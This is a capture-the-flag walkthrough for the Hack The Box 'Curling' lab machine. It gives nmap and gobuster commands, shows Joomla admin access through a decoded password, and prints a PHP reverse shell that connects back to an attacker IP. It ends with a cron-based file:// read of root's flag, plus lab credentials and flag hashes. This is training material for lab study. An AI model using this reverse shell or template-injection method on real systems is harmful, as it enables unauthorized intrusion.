Hack The Box - Curling server

1. nmap -sV -sT 10.10.10.150

   (it will get port 80, 22)

2. gobuster -u 10.10.10.150 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

3. check the code on 10.10.10.150 - you will find the page is in joomla, you will find secret.txt

4. wget 10.10.10.150:/secret.txt

5. cat the file - you will get Q3VybGluZzIwMTgh —> base 64 encryption online —> https://www.base64decode.org/. —> Curling2018!

6. default account for joomla is admin. try **admin/Curling2018! —> if that does not work. So we have password, but need username as well**

7. Or you can simply do http://10.10.10.150/secret.txt   .... :) that will get you the secret as well

8. Read the default page: http://10.10.10.150/   .... the article is signed as Floris. (so the username is Floris, password Curling2018!)
9. Then go to http://10.10.10.150/administrator/index.php --> Configuration --> templates --> (left menu: templates again) --> Click on Beez3 --> index.php and insert the reverse shell :
10. insert this:

```
$sock = fsockopen("10.10.14.20",1234);
$proc = proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
```

11. Go back to Kali linux and type the reverse shell command: `nc -vlp 1234`

12. Go back to the GUI, save the page and hit Template preview button. That should open the reverse shell and you should get your bash prompt on Curling.

Username/ password for user: floris / 5d<wdCbdZu)|hChXll

```
cat user.txt
65dd1df0713b40d88ead98cf11b8530b
```

For root.txt we need to monitor what processes are being modified. There is a great monitoring changes tool called PSPY (download from here):
https://github.com/DominicBreuker/pspy

Upload it to the server (via floris user SSH) - Run it with the parameter : `./pspy64s -p "ps -ef"`
Then you will see this output - which means it changes every minute:

```
2019/03/29 12:18:01 CMD: UID=0    PID=30663  | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2019/03/29 12:18:01 CMD: UID=0    PID=30662  | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
```

It basically mean, that the something is being taken from /root/default.txt and it is being inserted into the output.file
and from there, the input file is being redirected to the output file

So all we need to do is to modify the input file so it prints out the /root/root.txt file:
insert this into input file:

```
file:///root/root.txt
```

and then run:

```
tail -f report
82c198ab6fc5365fdc6da2ee5c26064a <--- root.txt
```